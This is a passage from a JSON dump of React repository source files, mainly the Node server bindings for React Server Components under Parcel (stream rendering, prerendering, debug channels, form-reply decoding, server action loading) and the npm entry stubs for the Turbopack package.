= entry.value;\n      if (typeof value === 'string') {\n        resolveField(response, name, value);\n      } else {\n        resolveFile(response, name, value);\n      }\n      iterator.next().then(progress, error);\n    }\n  }\n  function error(reason: Error) {\n    reportGlobalError(response, reason);\n    if (typeof (iterator: any).throw === 'function') {\n      // The iterator protocol doesn't necessarily include this but a generator do.\n      // $FlowFixMe should be able to pass mixed\n      iterator.throw(reason).then(error, error);\n    }\n  }\n\n  iterator.next().then(progress, error);\n\n  return getRoot(response);\n}\n\nexport function decodeAction<T>(body: FormData): Promise<() => T> | null {\n  return decodeActionImpl(body, serverManifest);\n}\n\nexport function decodeFormState<S>(\n  actionResult: S,\n  body: FormData,\n): Promise<ReactFormState<S, ServerReferenceId> | null> {\n  return decodeFormStateImpl(actionResult, body, serverManifest);\n}\n\nexport function loadServerAction<F: (...any[]) => any>(id: string): Promise<F> {\n  const reference = resolveServerReference<any>(serverManifest, id);\n  return Promise.resolve(reference)\n    .then(() => preloadModule(reference))\n    .then(() => {\n      const fn = requireModule(reference);\n      if (typeof fn !== 'function') {\n        throw new Error('Server actions must be functions');\n      }\n      return fn;\n    });\n}\n"
  },
  {
    "path": "packages/react-server-dom-parcel/src/server/ReactFlightDOMServerNode.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {\n  Request,\n  ReactClientValue,\n} from 'react-server/src/ReactFlightServer';\nimport type {Destination} from 'react-server/src/ReactServerStreamConfigNode';\nimport type {Busboy} from 'busboy';\nimport type {Writable} from 'stream';\nimport type {ReactFormState, Thenable} from 'shared/ReactTypes';\nimport type {\n  ServerManifest,\n  ServerReferenceId,\n} from '../client/ReactFlightClientConfigBundlerParcel';\n\nimport type {Duplex} from 'stream';\n\nimport {Readable} from 'stream';\n\nimport {ASYNC_ITERATOR} from 'shared/ReactSymbols';\n\nimport {\n  createRequest,\n  createPrerenderRequest,\n  startWork,\n  startFlowing,\n  startFlowingDebug,\n  stopFlowing,\n  abort,\n  resolveDebugMessage,\n  closeDebugChannel,\n} from 'react-server/src/ReactFlightServer';\n\nimport {\n  createResponse,\n  reportGlobalError,\n  close,\n  resolveField,\n  resolveFile,\n  resolveFileInfo,\n  resolveFileChunk,\n  resolveFileComplete,\n  getRoot,\n} from 'react-server/src/ReactFlightReplyServer';\n\nimport {\n  decodeAction as decodeActionImpl,\n  decodeFormState as decodeFormStateImpl,\n} from 'react-server/src/ReactFlightActionServer';\n\nimport {\n  preloadModule,\n  requireModule,\n  resolveServerReference,\n} from '../client/ReactFlightClientConfigBundlerParcel';\n\nexport {\n  createClientReference,\n  registerServerReference,\n} from '../ReactFlightParcelReferences';\n\nimport {\n  createStringDecoder,\n  readPartialStringChunk,\n  readFinalStringChunk,\n} from 'react-client/src/ReactFlightClientStreamConfigNode';\n\nimport {textEncoder} from 'react-server/src/ReactServerStreamConfigNode';\n\nimport type {TemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';\n\nexport {createTemporaryReferenceSet} from 'react-server/src/ReactFlightServerTemporaryReferences';\n\nexport type {TemporaryReferenceSet};\n\nfunction createDrainHandler(destination: Destination, request: Request) {\n  return () => startFlowing(request, destination);\n}\n\nfunction createCancelHandler(request: Request, reason: string) {\n  return () => {\n    stopFlowing(request);\n    abort(request, new Error(reason));\n  };\n}\n\nfunction startReadingFromDebugChannelReadable(\n  request: Request,\n  stream: Readable | WebSocket,\n): void {\n  const stringDecoder = createStringDecoder();\n  let lastWasPartial = false;\n  let stringBuffer = '';\n  function onData(chunk: string | Uint8Array) {\n    if (typeof chunk === 'string') {\n      if (lastWasPartial) {\n        stringBuffer += readFinalStringChunk(stringDecoder, new Uint8Array(0));\n        lastWasPartial = false;\n      }\n      stringBuffer += chunk;\n    } else {\n      const buffer: Uint8Array = (chunk: any);\n      stringBuffer += readPartialStringChunk(stringDecoder, buffer);\n      lastWasPartial = true;\n    }\n    const messages = stringBuffer.split('\\n');\n    for (let i = 0; i < messages.length - 1; i++) {\n      resolveDebugMessage(request, messages[i]);\n    }\n    stringBuffer = messages[messages.length - 1];\n  }\n  function onError(error: mixed) {\n    abort(\n      request,\n      new Error('Lost connection to the Debug Channel.', {\n        cause: error,\n      }),\n    );\n  }\n  function onClose() {\n    closeDebugChannel(request);\n  }\n  if (\n    // $FlowFixMe[method-unbinding]\n    typeof stream.addEventListener === 'function' &&\n    // $FlowFixMe[method-unbinding]\n    typeof stream.binaryType === 'string'\n  ) {\n    const ws: WebSocket = (stream: any);\n    ws.binaryType = 'arraybuffer';\n    ws.addEventListener('message', event => {\n      // $FlowFixMe\n      onData(event.data);\n    });\n    ws.addEventListener('error', event => {\n      // $FlowFixMe\n      onError(event.error);\n    });\n    ws.addEventListener('close', onClose);\n  } else {\n    const readable: Readable = (stream: any);\n    readable.on('data', onData);\n    readable.on('error', onError);\n    readable.on('end', onClose);\n  }\n}\n\ntype Options = {\n  debugChannel?: Readable | Writable | Duplex | WebSocket,\n  environmentName?: string | (() => string),\n  filterStackFrame?: (url: string, functionName: string) => boolean,\n  onError?: (error: mixed) => void,\n  identifierPrefix?: string,\n  temporaryReferences?: TemporaryReferenceSet,\n  startTime?: number,\n};\n\ntype PipeableStream = {\n  abort(reason: mixed): void,\n  pipe<T: Writable>(destination: T): T,\n};\n\nexport function renderToPipeableStream(\n  model: ReactClientValue,\n  options?: Options,\n): PipeableStream {\n  const debugChannel = __DEV__ && options ? options.debugChannel : undefined;\n  const debugChannelReadable: void | Readable | WebSocket =\n    __DEV__ &&\n    debugChannel !== undefined &&\n    // $FlowFixMe[method-unbinding]\n    (typeof debugChannel.read === 'function' ||\n      typeof debugChannel.readyState === 'number')\n      ? (debugChannel: any)\n      : undefined;\n  const debugChannelWritable: void | Writable =\n    __DEV__ && debugChannel !== undefined\n      ? // $FlowFixMe[method-unbinding]\n        typeof debugChannel.write === 'function'\n        ? (debugChannel: any)\n        : // $FlowFixMe[method-unbinding]\n          typeof debugChannel.send === 'function'\n          ? createFakeWritableFromWebSocket((debugChannel: any))\n          : undefined\n      : undefined;\n  const request = createRequest(\n    model,\n    null,\n    options ? options.onError : undefined,\n    options ? options.identifierPrefix : undefined,\n    options ? options.temporaryReferences : undefined,\n    options ? options.startTime : undefined,\n    __DEV__ && options ? options.environmentName : undefined,\n    __DEV__ && options ? options.filterStackFrame : undefined,\n    debugChannelReadable !== undefined,\n  );\n  let hasStartedFlowing = false;\n  startWork(request);\n  if (debugChannelWritable !== undefined) {\n    startFlowingDebug(request, debugChannelWritable);\n  }\n  if (debugChannelReadable !== undefined) {\n    startReadingFromDebugChannelReadable(request, debugChannelReadable);\n  }\n  return {\n    pipe<T: Writable>(destination: T): T {\n      if (hasStartedFlowing) {\n        throw new Error(\n          'React currently only supports piping to one writable stream.',\n        );\n      }\n      hasStartedFlowing = true;\n      startFlowing(request, destination);\n      destination.on('drain', createDrainHandler(destination, request));\n      destination.on(\n        'error',\n        createCancelHandler(\n          request,\n          'The destination stream errored while writing data.',\n        ),\n      );\n      // We don't close until the debug channel closes.\n      if (!__DEV__ || debugChannelReadable === undefined) {\n        destination.on(\n          'close',\n          createCancelHandler(request, 'The destination stream closed early.'),\n        );\n      }\n      return destination;\n    },\n    abort(reason: mixed) {\n      abort(request, reason);\n    },\n  };\n}\n\nfunction createFakeWritableFromWebSocket(webSocket: WebSocket): Writable {\n  return ({\n    write(chunk: string | Uint8Array) {\n      webSocket.send((chunk: any));\n      return true;\n    },\n    end() {\n      webSocket.close();\n    },\n    destroy(reason) {\n      if (typeof reason === 'object' && reason !== null) {\n        reason = reason.message;\n      }\n      if (typeof reason === 'string') {\n        webSocket.close(1011, reason);\n      } else {\n        webSocket.close(1011);\n      }\n    },\n  }: any);\n}\n\nfunction createFakeWritableFromReadableStreamController(\n  controller: ReadableStreamController,\n): Writable {\n  // The current host config expects a Writable so we create\n  // a fake writable for now to push into the Readable.\n  return ({\n    write(chunk: string | Uint8Array) {\n      if (typeof chunk === 'string') {\n        chunk = textEncoder.encode(chunk);\n      }\n      controller.enqueue(chunk);\n      // in web streams there is no backpressure so we can always write more\n      return true;\n    },\n    end() {\n      controller.close();\n    },\n    destroy(error) {\n      // $FlowFixMe[method-unbinding]\n      if (typeof controller.error === 'function') {\n        // $FlowFixMe[incompatible-call]: This is an Error object or the destination accepts other types.\n        controller.error(error);\n      } else {\n        controller.close();\n      }\n    },\n  }: any);\n}\n\nfunction startReadingFromDebugChannelReadableStream(\n  request: Request,\n  stream: ReadableStream,\n): void {\n  const reader = stream.getReader();\n  const stringDecoder = createStringDecoder();\n  let stringBuffer = '';\n  function progress({\n    done,\n    value,\n  }: {\n    done: boolean,\n    value: ?any,\n    ...\n  }): void | Promise<void> {\n    const buffer: Uint8Array = (value: any);\n    stringBuffer += done\n      ? readFinalStringChunk(stringDecoder, new Uint8Array(0))\n      : readPartialStringChunk(stringDecoder, buffer);\n    const messages = stringBuffer.split('\\n');\n    for (let i = 0; i < messages.length - 1; i++) {\n      resolveDebugMessage(request, messages[i]);\n    }\n    stringBuffer = messages[messages.length - 1];\n    if (done) {\n      closeDebugChannel(request);\n      return;\n    }\n    return reader.read().then(progress).catch(error);\n  }\n  function error(e: any) {\n    abort(\n      request,\n      new Error('Lost connection to the Debug Channel.', {\n        cause: e,\n      }),\n    );\n  }\n  reader.read().then(progress).catch(error);\n}\n\nexport function renderToReadableStream(\n  model: ReactClientValue,\n  options?: Omit<Options, 'debugChannel'> & {\n    debugChannel?: {readable?: ReadableStream, writable?: WritableStream, ...},\n    signal?: AbortSignal,\n  },\n): ReadableStream {\n  const debugChannelReadable =\n    __DEV__ && options && options.debugChannel\n      ? options.debugChannel.readable\n      : undefined;\n  const debugChannelWritable =\n    __DEV__ && options && options.debugChannel\n      ? options.debugChannel.writable\n      : undefined;\n  const request = createRequest(\n    model,\n    null,\n    options ? options.onError : undefined,\n    options ? options.identifierPrefix : undefined,\n    options ? options.temporaryReferences : undefined,\n    options ? options.startTime : undefined,\n    __DEV__ && options ? options.environmentName : undefined,\n    __DEV__ && options ? options.filterStackFrame : undefined,\n    debugChannelReadable !== undefined,\n  );\n  if (options && options.signal) {\n    const signal = options.signal;\n    if (signal.aborted) {\n      abort(request, (signal: any).reason);\n    } else {\n      const listener = () => {\n        abort(request, (signal: any).reason);\n        signal.removeEventListener('abort', listener);\n      };\n      signal.addEventListener('abort', listener);\n    }\n  }\n  if (debugChannelWritable !== undefined) {\n    let debugWritable: Writable;\n    const debugStream = new ReadableStream(\n      {\n        type: 'bytes',\n        start: (controller): ?Promise<void> => {\n          debugWritable =\n            createFakeWritableFromReadableStreamController(controller);\n        },\n        pull: (controller): ?Promise<void> => {\n          startFlowingDebug(request, debugWritable);\n        },\n      },\n      // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n      {highWaterMark: 0},\n    );\n    debugStream.pipeTo(debugChannelWritable);\n  }\n  if (debugChannelReadable !== undefined) {\n    startReadingFromDebugChannelReadableStream(request, debugChannelReadable);\n  }\n  let writable: Writable;\n  const stream = new ReadableStream(\n    {\n      type: 'bytes',\n      start: (controller): ?Promise<void> => {\n        writable = createFakeWritableFromReadableStreamController(controller);\n        startWork(request);\n      },\n      pull: (controller): ?Promise<void> => {\n        startFlowing(request, writable);\n      },\n      cancel: (reason): ?Promise<void> => {\n        stopFlowing(request);\n        abort(request, reason);\n      },\n    },\n    // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n    {highWaterMark: 0},\n  );\n  return stream;\n}\n\nfunction createFakeWritableFromNodeReadable(readable: any): Writable {\n  // The current host config expects a Writable so we create\n  // a fake writable for now to push into the Readable.\n  return ({\n    write(chunk: string | Uint8Array) {\n      return readable.push(chunk);\n    },\n    end() {\n      readable.push(null);\n    },\n    destroy(error) {\n      readable.destroy(error);\n    },\n  }: any);\n}\n\ntype PrerenderOptions = {\n  environmentName?: string | (() => string),\n  filterStackFrame?: (url: string, functionName: string) => boolean,\n  onError?: (error: mixed) => void,\n  identifierPrefix?: string,\n  temporaryReferences?: TemporaryReferenceSet,\n  signal?: AbortSignal,\n  startTime?: number,\n};\n\ntype StaticResult = {\n  prelude: Readable,\n};\n\nexport function prerenderToNodeStream(\n  model: ReactClientValue,\n  options?: PrerenderOptions,\n): Promise<StaticResult> {\n  return new Promise((resolve, reject) => {\n    const onFatalError = reject;\n    function onAllReady() {\n      const readable: Readable = new Readable({\n        read() {\n          startFlowing(request, writable);\n        },\n      });\n      const writable = createFakeWritableFromNodeReadable(readable);\n      resolve({prelude: readable});\n    }\n\n    const request = createPrerenderRequest(\n      model,\n      null,\n      onAllReady,\n      onFatalError,\n      options ? options.onError : undefined,\n      options ? options.identifierPrefix : undefined,\n      options ? options.temporaryReferences : undefined,\n      options ? options.startTime : undefined,\n      __DEV__ && options ? options.environmentName : undefined,\n      __DEV__ && options ? options.filterStackFrame : undefined,\n      false,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        const reason = (signal: any).reason;\n        abort(request, reason);\n      } else {\n        const listener = () => {\n          const reason = (signal: any).reason;\n          abort(request, reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n    startWork(request);\n  });\n}\n\nexport function prerender(\n  model: ReactClientValue,\n  options?: Options & {\n    signal?: AbortSignal,\n  },\n): Promise<{\n  prelude: ReadableStream,\n}> {\n  return new Promise((resolve, reject) => {\n    const onFatalError = reject;\n    function onAllReady() {\n      let writable: Writable;\n      const stream = new ReadableStream(\n        {\n          type: 'bytes',\n          start: (controller): ?Promise<void> => {\n            writable =\n              createFakeWritableFromReadableStreamController(controller);\n          },\n          pull: (controller): ?Promise<void> => {\n            startFlowing(request, writable);\n          },\n          cancel: (reason): ?Promise<void> => {\n            stopFlowing(request);\n            abort(request, reason);\n          },\n        },\n        // $FlowFixMe[prop-missing] size() methods are not allowed on byte streams.\n        {highWaterMark: 0},\n      );\n      resolve({prelude: stream});\n    }\n    const request = createPrerenderRequest(\n      model,\n      null,\n      onAllReady,\n      onFatalError,\n      options ? options.onError : undefined,\n      options ? options.identifierPrefix : undefined,\n      options ? options.temporaryReferences : undefined,\n      options ? options.startTime : undefined,\n      __DEV__ && options ? options.environmentName : undefined,\n      __DEV__ && options ? options.filterStackFrame : undefined,\n      false,\n    );\n    if (options && options.signal) {\n      const signal = options.signal;\n      if (signal.aborted) {\n        const reason = (signal: any).reason;\n        abort(request, reason);\n      } else {\n        const listener = () => {\n          const reason = (signal: any).reason;\n          abort(request, reason);\n          signal.removeEventListener('abort', listener);\n        };\n        signal.addEventListener('abort', listener);\n      }\n    }\n    startWork(request);\n  });\n}\n\nlet serverManifest: ServerManifest = {};\nexport function registerServerActions(manifest: ServerManifest) {\n  // This function is called by the bundler to register the manifest.\n  serverManifest = manifest;\n}\n\nexport function decodeReplyFromBusboy<T>(\n  busboyStream: Busboy,\n  options?: {\n    temporaryReferences?: TemporaryReferenceSet,\n    arraySizeLimit?: number,\n  },\n): Thenable<T> {\n  const response = createResponse(\n    serverManifest,\n    '',\n    options ? options.temporaryReferences : undefined,\n    undefined,\n    options ? options.arraySizeLimit : undefined,\n  );\n  let pendingFiles = 0;\n  const queuedFields: Array<string> = [];\n  busboyStream.on('field', (name, value) => {\n    if (pendingFiles > 0) {\n      // Because the 'end' event fires two microtasks after the next 'field'\n      // we would resolve files and fields out of order. To handle this properly\n      // we queue any fields we receive until the previous file is done.\n      queuedFields.push(name, value);\n    } else {\n      try {\n        resolveField(response, name, value);\n      } catch (error) {\n        busboyStream.destroy(error);\n      }\n    }\n  });\n  busboyStream.on('file', (name, value, {filename, encoding, mimeType}) => {\n    if (encoding.toLowerCase() === 'base64') {\n      busboyStream.destroy(\n        new Error(\n          \"React doesn't accept base64 encoded file uploads because we don't expect \" +\n            \"form data passed from a browser to ever encode data that way. If that's \" +\n            'the wrong assumption, we can easily fix it.',\n        ),\n      );\n      return;\n    }\n    pendingFiles++;\n    const file = resolveFileInfo(response, name, filename, mimeType);\n    value.on('data', chunk => {\n      resolveFileChunk(response, file, chunk);\n    });\n    value.on('end', () => {\n      try {\n        resolveFileComplete(response, name, file);\n        pendingFiles--;\n        if (pendingFiles === 0) {\n          // Release any queued fields\n          for (let i = 0; i < queuedFields.length; i += 2) {\n            resolveField(response, queuedFields[i], queuedFields[i + 1]);\n          }\n          queuedFields.length = 0;\n        }\n      } catch (error) {\n        busboyStream.destroy(error);\n      }\n    });\n  });\n  busboyStream.on('finish', () => {\n    close(response);\n  });\n  busboyStream.on('error', err => {\n    reportGlobalError(\n      response,\n      // $FlowFixMe[incompatible-call] types Error and mixed are incompatible\n      err,\n    );\n  });\n  return getRoot(response);\n}\n\nexport function decodeReply<T>(\n  body: string | FormData,\n  options?: {\n    temporaryReferences?: TemporaryReferenceSet,\n    arraySizeLimit?: number,\n  },\n): Thenable<T> {\n  if (typeof body === 'string') {\n    const form = new FormData();\n    form.append('0', body);\n    body = form;\n  }\n  const response = createResponse(\n    serverManifest,\n    '',\n    options ? options.temporaryReferences : undefined,\n    body,\n    options ? options.arraySizeLimit : undefined,\n  );\n  const root = getRoot<T>(response);\n  close(response);\n  return root;\n}\n\nexport function decodeReplyFromAsyncIterable<T>(\n  iterable: AsyncIterable<[string, string | File]>,\n  options?: {\n    temporaryReferences?: TemporaryReferenceSet,\n    arraySizeLimit?: number,\n  },\n): Thenable<T> {\n  const iterator: AsyncIterator<[string, string | File]> =\n    iterable[ASYNC_ITERATOR]();\n\n  const response = createResponse(\n    serverManifest,\n    '',\n    options ? options.temporaryReferences : undefined,\n    undefined,\n    options ? options.arraySizeLimit : undefined,\n  );\n\n  function progress(\n    entry:\n      | {done: false, +value: [string, string | File], ...}\n      | {done: true, +value: void, ...},\n  ) {\n    if (entry.done) {\n      close(response);\n    } else {\n      const [name, value] = entry.value;\n      if (typeof value === 'string') {\n        resolveField(response, name, value);\n      } else {\n        resolveFile(response, name, value);\n      }\n      iterator.next().then(progress, error);\n    }\n  }\n  function error(reason: Error) {\n    reportGlobalError(response, reason);\n    if (typeof (iterator: any).throw === 'function') {\n      // The iterator protocol doesn't necessarily include this but a generator do.\n      // $FlowFixMe should be able to pass mixed\n      iterator.throw(reason).then(error, error);\n    }\n  }\n\n  iterator.next().then(progress, error);\n\n  return getRoot(response);\n}\n\nexport function decodeAction<T>(body: FormData): Promise<() => T> | null {\n  return decodeActionImpl(body, serverManifest);\n}\n\nexport function decodeFormState<S>(\n  actionResult: S,\n  body: FormData,\n): Promise<ReactFormState<S, ServerReferenceId> | null> {\n  return decodeFormStateImpl(actionResult, body, serverManifest);\n}\n\nexport function loadServerAction<F: (...any[]) => any>(id: string): Promise<F> {\n  const reference = resolveServerReference<any>(serverManifest, id);\n  return Promise.resolve(reference)\n    .then(() => preloadModule(reference))\n    .then(() => {\n      const fn = requireModule(reference);\n      if (typeof fn !== 'function') {\n        throw new Error('Server actions must be functions');\n      }\n      return fn;\n    });\n}\n"
  },
  {
    "path": "packages/react-server-dom-parcel/src/server/ReactFlightServerConfigParcelBundler.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nimport type {ReactClientValue} from 'react-server/src/ReactFlightServer';\nimport type {ImportMetadata} from '../shared/ReactFlightImportMetadata';\n\nimport type {\n  ClientReference,\n  ServerReference,\n} from '../ReactFlightParcelReferences';\n\nexport type {ClientReference, ServerReference};\n\nexport type ClientManifest = null;\nexport type ServerReferenceId = string;\nexport type ClientReferenceMetadata = ImportMetadata;\nexport type ClientReferenceKey = string;\n\nexport {\n  isClientReference,\n  isServerReference,\n} from '../ReactFlightParcelReferences';\n\nexport function getClientReferenceKey(\n  reference: ClientReference<any>,\n): ClientReferenceKey {\n  return reference.$$id + '#' + reference.$$name;\n}\n\nexport function resolveClientReferenceMetadata<T>(\n  config: ClientManifest,\n  clientReference: ClientReference<T>,\n): ClientReferenceMetadata {\n  if (clientReference.$$importMap) {\n    return [\n      clientReference.$$id,\n      clientReference.$$name,\n      clientReference.$$bundles,\n      clientReference.$$importMap,\n    ];\n  }\n\n  return [\n    clientReference.$$id,\n    clientReference.$$name,\n    clientReference.$$bundles,\n  ];\n}\n\nexport function getServerReferenceId<T>(\n  config: ClientManifest,\n  serverReference: ServerReference<T>,\n): ServerReferenceId {\n  return serverReference.$$id;\n}\n\nexport function getServerReferenceBoundArguments<T>(\n  config: ClientManifest,\n  serverReference: ServerReference<T>,\n): null | Array<ReactClientValue> {\n  return serverReference.$$bound;\n}\n\nexport function getServerReferenceLocation<T>(\n  config: ClientManifest,\n  serverReference: ServerReference<T>,\n): void | Error {\n  return serverReference.$$location;\n}\n"
  },
  {
    "path": "packages/react-server-dom-parcel/src/server/react-flight-dom-server.browser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {\n  renderToReadableStream,\n  prerender,\n  decodeReply,\n  decodeAction,\n  decodeFormState,\n  createClientReference,\n  registerServerReference,\n  createTemporaryReferenceSet,\n  registerServerActions,\n  loadServerAction,\n} from './ReactFlightDOMServerBrowser';\n"
  },
  {
    "path": "packages/react-server-dom-parcel/src/server/react-flight-dom-server.edge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {\n  renderToReadableStream,\n  prerender,\n  decodeReply,\n  decodeReplyFromAsyncIterable,\n  decodeAction,\n  decodeFormState,\n  createClientReference,\n  registerServerReference,\n  createTemporaryReferenceSet,\n  registerServerActions,\n  loadServerAction,\n} from './ReactFlightDOMServerEdge';\n"
  },
  {
    "path": "packages/react-server-dom-parcel/src/server/react-flight-dom-server.node.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {\n  renderToReadableStream,\n  renderToPipeableStream,\n  prerender,\n  prerenderToNodeStream,\n  decodeReply,\n  decodeReplyFromBusboy,\n  decodeReplyFromAsyncIterable,\n  decodeAction,\n  decodeFormState,\n  createClientReference,\n  registerServerReference,\n  createTemporaryReferenceSet,\n  registerServerActions,\n  loadServerAction,\n} from './ReactFlightDOMServerNode';\n"
  },
  {
    "path": "packages/react-server-dom-parcel/src/shared/ReactFlightImportMetadata.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n// This is the parsed shape of the wire format which is why it is\n// condensed to only the essentialy information\nexport type ImportMetadata = [\n  // eslint does not understand Flow tuple syntax.\n  /* eslint-disable */\n  id: string,\n  name: string,\n  bundles: Array<string>,\n  importMap?: {[string]: string},\n  /* eslint-enable */\n];\n\nexport const ID = 0;\nexport const NAME = 1;\nexport const BUNDLES = 2;\nexport const IMPORT_MAP = 3;\n"
  },
  {
    "path": "packages/react-server-dom-parcel/static.browser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {prerender} from './src/server/react-flight-dom-server.browser';\n"
  },
  {
    "path": "packages/react-server-dom-parcel/static.edge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {prerender} from './src/server/react-flight-dom-server.edge';\n"
  },
  {
    "path": "packages/react-server-dom-parcel/static.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nthrow new Error(\n  'The React Server cannot be used outside a react-server environment. ' +\n    'You must configure Node.js using the `--conditions react-server` flag.',\n);\n"
  },
  {
    "path": "packages/react-server-dom-parcel/static.node.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport {\n  prerender,\n  prerenderToNodeStream,\n} from './src/server/react-flight-dom-server.node';\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/README.md",
    "content": "# react-server-dom-turbopack\n\nExperimental React Flight bindings for DOM using Turbopack.\n\n**Use it at your own risk.**\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/client.browser.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './src/client/react-flight-dom-client.browser';\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/client.edge.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './src/client/react-flight-dom-client.edge';\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/client.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './client.browser';\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/client.node.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nexport * from './src/client/react-flight-dom-client.node';\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\nthrow new Error('Use react-server-dom-turbopack/client instead.');\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/npm/client.browser.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-server-dom-turbopack-client.browser.production.js');\n} else {\n  module.exports = require('./cjs/react-server-dom-turbopack-client.browser.development.js');\n}\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/npm/client.edge.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-server-dom-turbopack-client.edge.production.js');\n} else {\n  module.exports = require('./cjs/react-server-dom-turbopack-client.edge.development.js');\n}\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/npm/client.js",
    "content": "'use strict';\n\nmodule.exports = require('./client.browser');\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/npm/client.node.js",
    "content": "'use strict';\n\nif (process.env.NODE_ENV === 'production') {\n  module.exports = require('./cjs/react-server-dom-turbopack-client.node.production.js');\n} else {\n  module.exports = require('./cjs/react-server-dom-turbopack-client.node.development.js');\n}\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/npm/index.js",
    "content": "/**\n * Copyright (c) Meta Platforms, Inc. and affiliates.\n *\n * This source code is licensed under the MIT license found in the\n * LICENSE file in the root directory of this source tree.\n *\n * @flow\n */\n\n'use strict';\n\nthrow new Error('Use react-server-dom-turbopack/client instead.');\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/npm/server.browser.js",
    "content": "'use strict';\n\nvar s;\nif (process.env.NODE_ENV === 'production') {\n  s = require('./cjs/react-server-dom-turbopack-server.browser.production.js');\n} else {\n  s = require('./cjs/react-server-dom-turbopack-server.browser.development.js');\n}\n\nexports.renderToReadableStream = s.renderToReadableStream;\nexports.decodeReply = s.decodeReply;\nexports.decodeAction = s.decodeAction;\nexports.decodeFormState = s.decodeFormState;\nexports.registerServerReference = s.registerServerReference;\nexports.registerClientReference = s.registerClientReference;\nexports.createClientModuleProxy = s.createClientModuleProxy;\nexports.createTemporaryReferenceSet = s.createTemporaryReferenceSet;\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/npm/server.edge.js",
    "content": "'use strict';\n\nvar s;\nif (process.env.NODE_ENV === 'production') {\n  s = require('./cjs/react-server-dom-turbopack-server.edge.production.js');\n} else {\n  s = require('./cjs/react-server-dom-turbopack-server.edge.development.js');\n}\n\nexports.renderToReadableStream = s.renderToReadableStream;\nexports.decodeReply = s.decodeReply;\nexports.decodeReplyFromAsyncIterable = s.decodeReplyFromAsyncIterable;\nexports.decodeAction = s.decodeAction;\nexports.decodeFormState = s.decodeFormState;\nexports.registerServerReference = s.registerServerReference;\nexports.registerClientReference = s.registerClientReference;\nexports.createClientModuleProxy = s.createClientModuleProxy;\nexports.createTemporaryReferenceSet = s.createTemporaryReferenceSet;\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/npm/server.js",
    "content": "'use strict';\n\nthrow new Error(\n  'The React Server Writer cannot be used outside a react-server environment. ' +\n    'You must configure Node.js using the `--conditions react-server` flag.'\n);\n"
  },
  {
    "path": "packages/react-server-dom-turbopack/npm/server.node.js",
